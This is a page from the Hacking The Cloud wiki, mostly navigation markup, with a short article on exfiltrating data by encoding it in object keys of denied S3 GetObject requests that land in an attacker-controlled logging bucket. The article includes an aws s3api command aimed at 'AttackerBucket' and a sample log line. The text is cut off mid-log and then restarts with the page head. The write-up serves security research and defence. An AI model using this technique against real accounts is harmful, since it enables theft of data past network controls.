2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Costas Kourmpoglou</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/s3_server_access_logs.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=data-exfiltration-through-s3-server-access-logs>Data Exfiltration through S3 Server Access Logs<a class=headerlink href=#data-exfiltration-through-s3-server-access-logs title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://airwalkreply.com/cloud-services-as-exfiltration-mechanisms>Cloud services as exfiltration mechanisms</a> by <a href=https://www.linkedin.com/in/costas-kou/ >Costas Kourmpoglou</a></p> </aside></p> </li> </ul> </div> <p>If we have control over an IAM identity that allows <code>s3:GetObject</code>, depending on the network access to the S3 service, we can use S3 server access logs to a bucket <em>we</em> control, and use it to exfiltrate data.</p> <p>With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send <code>GetObject</code> requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place. </p> <h1 id=how>How<a class=headerlink href=#how title="Permanent link">&para;</a></h1> <p>We'll create an S3 bucket, <code>AttackerBucket</code> in our account with <a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerLogs.html>server access logging</a>. Let's name the logging bucket <code>AttackerBucketLogs</code>. With our data in hand <code>ExampleDataToExfiltrate</code>, we will send a <code>GetObject</code> request to our bucket, for example:</p> <p><code>aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate</code></p> <p>The request will be denied. However the attempt along with the other details, including our key <code>ExampleDatatoExfiltrate</code> - which is the data we're exfiltrating - will arrive to our logging bucket <code>AttackerBucketLogs</code>.</p> <p>We'll receive the data in the default logging format:</p> <div class=highlight><pre><span></span><code>[..] attackerbucket […] 8.8.8.8 – […] REST.GET.OBJECT ExampleDataToExfiltrate &quot;GET / ExampleDataToExfiltrate HTTP/1.1&quot; 403 AccessDenied 243 - 18 - &quot;-&quot; &quot;UserAgentAlsoHasData &quot; – […]
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#data-exfiltration-through-s3-server-access-logs class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 